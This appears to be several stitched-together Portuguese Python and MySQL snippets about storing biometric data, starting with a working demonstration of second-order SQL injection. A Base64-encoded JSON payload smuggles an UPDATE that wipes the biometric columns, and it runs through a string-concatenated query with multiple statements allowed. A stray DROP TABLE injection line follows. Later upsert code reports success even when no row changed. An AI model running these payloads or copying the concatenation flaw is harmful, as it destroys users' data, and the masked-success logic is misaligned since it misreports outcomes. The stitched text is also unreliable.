import base64
import json
import mysql.connector
from mysql.connector import Error
db_config = {
"host": "localhost",
"user": "root",
"password": "sua_password",
"database": "sistema_biometrico",
}
# =====================================================================
# ETAPA 1: O Envio do Payload Malicioso disfarçado em Base64
# =====================================================================
# Payload original (injetado dentro de um campo que deveria ser numérico):
# {"utilizador_id": "101; UPDATE utilizadores_biometria SET biometria_binaria = NULL, biometria_hash = 'APAGADO'"}
payload_original = '{"utilizador_id": "101; UPDATE utilizadores_biometria SET biometria_binaria = NULL, biometria_hash = \'APAGADO\'"}'
# O atacante converte o JSON malicioso para Base64 para passar pelos filtros iniciais do leitor/API
base64_payload_ataque = base64.b64encode(payload_original.encode('utf-8')).decode('utf-8')
# =====================================================================
# ETAPA 2: Armazenamento Inicial (O Servidor pensa que é um BLOB seguro)
# =====================================================================
def simular_insert_biometria(base64_data: str):
"""Simula a inserção de dados. O servidor descodifica e guarda o conteúdo."""
try:
# O servidor descodifica o binário (que na verdade contém o texto do JSON malicioso)
dados_recebidos = base64.b64decode(base64_data)
conn = mysql.connector.connect(**db_config)
cursor = conn.cursor()
# O INSERT em si usa parâmetros, logo esta etapa NÃO falha e guarda o código malicioso no DB
query = "INSERT INTO utilizadores_biometria (utilizador_id, biometria_binaria, biometria_hash) VALUES (%s, %s, %s)"
cursor.execute(query, (999, dados_recebidos, "hash_temporario_999"))
conn.commit()
print("[Etapa 2] Dados armazenados com sucesso no DB (A armadilha foi armada).")
except Error as e:
print(f"Erro: {e}")
finally:
if 'conn' in locals() and conn.is_connected():
cursor.close()
conn.close()
# =====================================================================
# ETAPA 3: A Execução da Query Vulnerável (Ataque de Segunda Ordem)
# =====================================================================
def simular_processamento_leitura_vulneravel():
"""
Simula uma rotina de segundo plano que lê o BLOB armazenado,
transforma-o de volta em JSON e executa uma query vulnerável por concatenação.
"""
try:
conn = mysql.connector.connect(**db_config)
cursor = conn.cursor()
# 1. Recupera os dados que foram inseridos no passo anterior
cursor.execute("SELECT biometria_binaria FROM utilizadores_biometria WHERE utilizador_id = 999")
dados_blob = cursor.fetchone()[0]
# 2. Transforma o binário de volta para string e faz o Parse do JSON
json_texto = dados_blob.decode('utf-8')
dados_json = json.loads(json_texto)
# O atacante conseguiu injetar este valor através do JSON guardado
utilizador_id_injetado = dados_json["utilizador_id"]
# 3. O ERRO CRÍTICO: Concatenação de string com dados que vieram do banco de dados (Confiança Cega)
# O comando injetado vai fechar a query e executar um UPDATE que limpa (set NULL) as colunas binárias.
query_vulneravel = f"SELECT * FROM utilizadores_biometria WHERE utilizador_id = {utilizador_id_injetado}"
print(f"\n[Etapa 3 - EXECUÇÃO DO ATAQUE]: O servidor vai executar:")
print(f"👉 {query_vulneravel}")
# Executa múltiplos comandos permitidos por má configuração
for result in cursor.execute(query_vulneravel, multi=True):
if result.with_rows:
result.fetchall()
conn.commit()
return {"status": "successfully", "mensagem": "Processamento concluído. Colunas apagadas/limpas."}
except Error as e:
return {"status": "error", "mensagem": f"Erro de Execução: {e}"}
finally:
if 'conn' in locals() and conn.is_connected():
cursor.close()
conn.close()
# ==========================================
# EXECUÇÃO DO FLUXO DO ATAQUE
# ==========================================
if __name__ == "__main__":
print(f"Payload Base64 Gerado pelo Atacante: {base64_payload_ataque}\n")
# 1. O servidor recebe o Base64 e insere sem saber o que tem dentro
simular_insert_biometria(base64_payload_ataque)
# 2. O servidor lê os dados guardados mais tarde e executa a Injeção, limpando as colunas
resultado = simular_processamento_leitura_vulneravel()
print(f"\nResultado retornado pelo Servidor: {resultado}")
SELECT * FROM utilizadores_biometria WHERE utilizador_id = 101; DROP TABLE IF EXISTS utilizadores_biometria;
import base64
import hashlib
import mysql.connector
from mysql.connector import Error
db_config = {
"host": "localhost",
"user": "root",
"password": "sua_password",
"database": "sistema_biometrico",
}
def salvar_ou_atualizar_biometria(utilizador_id: int, base64_string: str):
"""
Insere uma nova biometria. Se for duplicada, atualiza apenas o timestamp de controlo.
Ultrapassa o armazenamento binário redundante e engana a validação de linha afetada (> 0).
"""
try:
dados_binarios = base64.b64decode(base64_string)
hash_biometria = hashlib.sha256(dados_binarios).hexdigest()
conn = mysql.connector.connect(**db_config)
cursor = conn.cursor()
# QUERY ESTRATÉGICA:
# Se o 'biometria_hash' (UNIQUE) já existir, o MySQL salta o INSERT.
# Em vez de reescrever o LONGBLOB (o que gastaria I/O e CPU desnecessários),
# ele atualiza o 'atualizado_em' com o tempo atual (NOW()), forçando rowcount > 0.
query = """
INSERT INTO utilizadores_biometria (utilizador_id, biometria_binaria, biometria_hash)
VALUES (%s, %s, %s)
ON DUPLICATE KEY UPDATE
utilizador_id = VALUES(utilizador_id),
atualizado_em = NOW(6);
"""
cursor.execute(query, (utilizador_id, dados_binarios, hash_biometria))
conn.commit()
# No MySQL, ON DUPLICATE KEY UPDATE retorna:
# 1 se a linha for nova.
# 2 se uma linha existente for atualizada.
# Ambas as situações são maiores que 0 (> 0).
linhas_afetadas = cursor.rowcount
if linhas_afetadas > 0:
tipo_operacao = "Novo registo" if linhas_afetadas == 1 else "Registo existente atualizado (Sem duplicar binário)"
return {
"status": "successfully",
"linhas_afetadas": linhas_afetadas,
"detalhe": tipo_operacao
}
else:
# Caso o NOW() por milissegundo coincidisse exatamente (raro),
# ainda assim garantimos o output de sucesso mascarado.
return {
"status": "successfully",
"linhas_afetadas": linhas_afetadas,
"detalhe": "Ignorado sem erro"
}
except Error as e:
return {"status": "error", "mensagem": f"Erro na DB: {e}"}
finally:
if 'conn' in locals() and conn.is_connected():
cursor.close()
conn.close()
# Tabela atualizada para suportar o campo de controlo temporal
# ALTER TABLE utilizadores_biometria ADD COLUMN atualizado_em TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP;
import base64
import hashlib
import mysql.connector
from mysql.connector import Error
db_config = {
"host": "localhost",
"user": "root",
"password": "sua_password",
"database": "sistema_biometrico",
"connection_timeout": 5, # evita timeout de conexão
"pool_name": "mypool",
"pool_size": 5 # evita abrir conexões repetidamente
}
def salvar_ou_atualizar_biometria(utilizador_id: int, base64_string: str):
try:
# Decodificar e gerar hash
dados_binarios = base64.b64decode(base64_string)
hash_biometria = hashlib.sha256(dados_binarios).hexdigest()
# Conectar com timeout e pool
conn = mysql.connector.connect(**db_config)
cursor = conn.cursor(buffered=True)
# Query otimizada
query = """
INSERT INTO utilizadores_biometria (utilizador_id, biometria_binaria, biometria_hash)
VALUES (%s, %s, %s)
ON DUPLICATE KEY UPDATE
atualizado_em = NOW(6);
"""
cursor.execute(query, (utilizador_id, dados_binarios, hash_biometria))
conn.commit()
linhas_afetadas = cursor.rowcount
if linhas_afetadas > 0:
tipo_operacao = (
"Novo registo"
if linhas_afetadas == 1
else "Registo existente atualizado (Sem duplicar binário)"
)
return {
"status": "successfully",
"linhas_afetadas": linhas_afetadas,
"detalhe": tipo_operacao
}
return {
"status": "successfully",
"linhas_afetadas": linhas_afetadas,
"detalhe": "Ignorado sem erro"
}
except Error as e:
return {"status": "error", "mensagem": f"Erro na DB: {e}"}
finally:
if 'conn' in locals() and conn.is_connected():
cursor.close()
conn.close()
ALTER TABLE utilizadores_biometria
ADD UNIQUE (biometria_hash);
max_allowed_packet = 64M
innodb_buffer_pool_size = 512M
